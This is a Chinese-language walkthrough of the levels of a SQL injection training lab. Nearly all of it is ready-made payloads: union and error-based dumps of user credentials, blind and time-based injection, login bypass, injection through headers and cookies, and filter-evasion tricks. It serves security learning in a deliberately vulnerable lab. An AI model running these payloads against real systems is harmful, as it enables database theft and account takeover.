————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
1、先造轮子
-1' union select 1,2,3 --+
2、轮子变形爆出数据库(security)
-1' union select 1,schema(),database() --+
3、爆出表名(users)
-1' union select 1,schema(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
4、爆出字段名(id,username,password)
-1' union select 1,schema(),group_concat(column_name) from information_schema.columns where table_name='users' --+
第一关:字符型
/less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +
第二关:数字型
/less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +
第三关:字符型+括号闭合(单引号)
/less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +
第四关:字符型+括号闭合(双引号)
/less-4/?id=-1" )union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +
第五关:布尔盲注(单引号)
/less-5/?id=1' and extractvalue(1,concat(0x7e,database())) -- +,爆出库名security
第六关:布尔盲注(双引号)
/less-6/?id=1" and extractvalue(1,concat(0x7e,database())) -- +,爆出库名security
第七关:布尔盲注(双括号)
/less-7/?id=1')) and length((select database()))=8 -- +,爆出库名8位
/less-7/?id=1')) and mid((select database()),1,1)='a' -- +,遍历8位,爆出库名security
第八关:布尔盲注(单引号)
/less-8/?id=1' and length((select database()))=8 -- +,爆出库名8位
/less-8/?id=1')) and mid((select database()),1,1)='a' -- +,遍历8位,爆出库名security
第九关:时间盲注(单引号)
/less-9/?id=1' and if(length((select database()))=8,sleep(0),sleep(1)) -- +,爆出库名8位
/less-9/?id=1' and if(mid((select database()),1,1)='s',sleep(0),sleep(1)) -- +,遍历8位,爆出库名security
第十关:时间盲注(双引号)
/less-10/?id=1" and if(length((select database()))=8,sleep(0),sleep(1)) -- +,爆出库名8位
/less-10/?id=1" and if(mid((select database()),1,1)='s',sleep(0),sleep(1)) -- +,遍历8位,爆出库名security
第十一关:用户名输入栏注入(单引号)
当用户名输入1',出现报错信息。根据报错信息可以推断该sql语句 -- username='参数' and password='参数'
使用万能密码1' or 1=1 --+
变更--+为#,即万能密码:1' or 1=1 #,成功显示了账号和密码
再次变更轮子,1' union select 1,2 #
继续变更轮子:1' union select database(),user() #
继续使用变形,可以爆出数据库及表名,字段名
第十二关:用户名输入栏注入(双引号)
使用1,1',1''都没有报错,尝试使用双引号,报错
根据提示可以猜测sql为-- username=("") and password=("")
变形轮子:1") or 1=1#
继续变形:1") union select 1,2#
继续~~:1") union select user(),database()#
继续使用变形,可以爆出数据库及表名,字段名
第十三关:用户名输入栏注入(单引号)
使用单引号1',报错
根据提示可以猜测sql为-- username=('') and password=('')
变形轮子,爆出数据库: 1') and extractvalue(1,concat(0x7e,database()))#
第十四关:用户名输入栏注入(双引号)
当用户名输入1",出现报错信息。根据报错信息可以推断该sql语句 -- username="参数" and password="参数"
变形轮子,爆出数据库:1" and extractvalue(1,concat(0x7e,database()))#
第十五关:(布尔注入单引号)
使用万能密码,当密码为 1' or 1=1#成功登录
变形轮子: 1' or length(database())=1#
遍历数据库长度,发现数据库长度为8
继续变形轮子: 1' or mid(database(),1,1)='s'#
遍历8位值,得出数据库名称为:security
第十六关:(布尔注入单引号+括号)
使用万能密码,当密码为 1") or 1=1#成功登录
变形轮子: 1") or length(database())=1#
遍历数据库长度,发现数据库长度为8
继续变形轮子: 1") or mid(database(),1,1)='s'#
遍历8位值,得出数据库名称为:security
第十七关:(密码重置)
需要输入正确的用户名和新密码
用户名:admin
新密码(爆出数据库security):1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#
用户名:admin
新密码(爆出用户表users):
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
用户名:admin
新密码(爆出列名):
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#
展示不完全,用截取函数多次展示
1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e))#
1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),33,32),0x7e))#
1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),64,32),0x7e))#
继续往下爆出表名和列名~~
用户名:admin
新密码(爆出数据):
1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from (select username,password from users)a),0x7e))#
显示不完整,用截取函数多次展示即可
第十八关:UA(User-Agent)注入
UA爆库一:1',2,extractvalue(1,concat(0x7e,database(),0x7e)))#
UA爆库二:'and extractvalue(1,concat(0x7e,database(),0x7e)) and '
继续爆出表名:
1',2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
然后是列名:
1',2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
继续上截取函数~~
第十九关:referfer注入
爆库一:1',extractvalue(1,concat(0x7e,database(),0x7e)))#
爆库二:'and extractvalue(1,concat(0x7e,database(),0x7e)) and '
继续爆出表名:
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
然后是列名:
1',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
继续上截取函数~~
第二十关:cookie注入
爆库:'and extractvalue(1,concat(0x7e,database(),0x7e))#
爆表:
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
然后就是爆出列名及数据了--和上面的关卡一样,不再赘述
第二十一关:cookie注入(base64编码+括号)
payload——admin')and extractvalue(1,concat(0x7e,database(),0x7e))#
base64编码:
YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpKSM=
编码后的payload带入报文,爆出数据库:
步骤和第二十关一致了,区别是要对发送的cookie参数进行base64编码~~~
第二十二关:cookie注入(base64编码+双引号)
payload——admin" and extractvalue(1,concat(0x7e,database(),0x7e))#
base64编码:
YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpKSM=
编码后的payload带入报文,爆出数据库:
步骤和第二十关一致了,区别是要对发送的cookie参数进行base64编码~~~
第二十三关:注释符被过滤
使用/Less-23/?id=-1' union select 1,2' 不断加数字
发现最终展示列数为3,/Less-23/?id=-1' union select 1,2,3'
变形轮子,爆出数据库:/Less-23/?id=-1' union select 1,database(),3'
再继续变形轮子,爆出表名以及列名。最终查出数据
/Less-23/?id=-1' union select 1,(select group_concat(username,password) from users),3'
第二十四关:二次注入
我们不知道admin的密码,但是可以注册个用户admin'#。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
使用用户名admin'#和密码登录,进入修改密码页面。原始密码输入1,新密码我输入的是123456,可以看到密码修改成功
第二十五关:and和or被替换成空,双写绕过
爆数据库:/Less-25/?id=-1' union select 1,database(),3'
爆表名(库名information_schema有or需要双写绕过):
/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3'
爆数据(字段password有or需要双写绕过)
/Less-25/?id=-1' union select 1,(select group_concat(username,passwoorrd) from users),3'
第二十六关:逻辑运算符,注释符以及空格被过滤
逻辑运算符绕过:使用双写绕过或者使用&&和||替换。过滤注释符之后,需要用or '1'='1'闭合单引号。
空格绕过有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
爆数据库的payload:
/Less-26/?id=-1'aandnd(extractvalue(1,concat(0x7e,database())))oorr'1'='1
爆表payload:
/Less-26/?id=1'aandnd(extractvalue(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),1,31),0x7e)))oorr'1'='1
然后就是变形爆出列名~~
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段
第二十七关:select和union被过滤(双写或大小写绕过)
爆库:
1' and(extractvalue(1,concat(0x7e,schema()))) and '1
爆表:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')))))and'1
爆列:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))and'1
展示不完全,用截取函数多次展示
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),32,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),64,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),96,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),128,31))))and'1
爆账号密码:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(password,username))from(users)))))and'1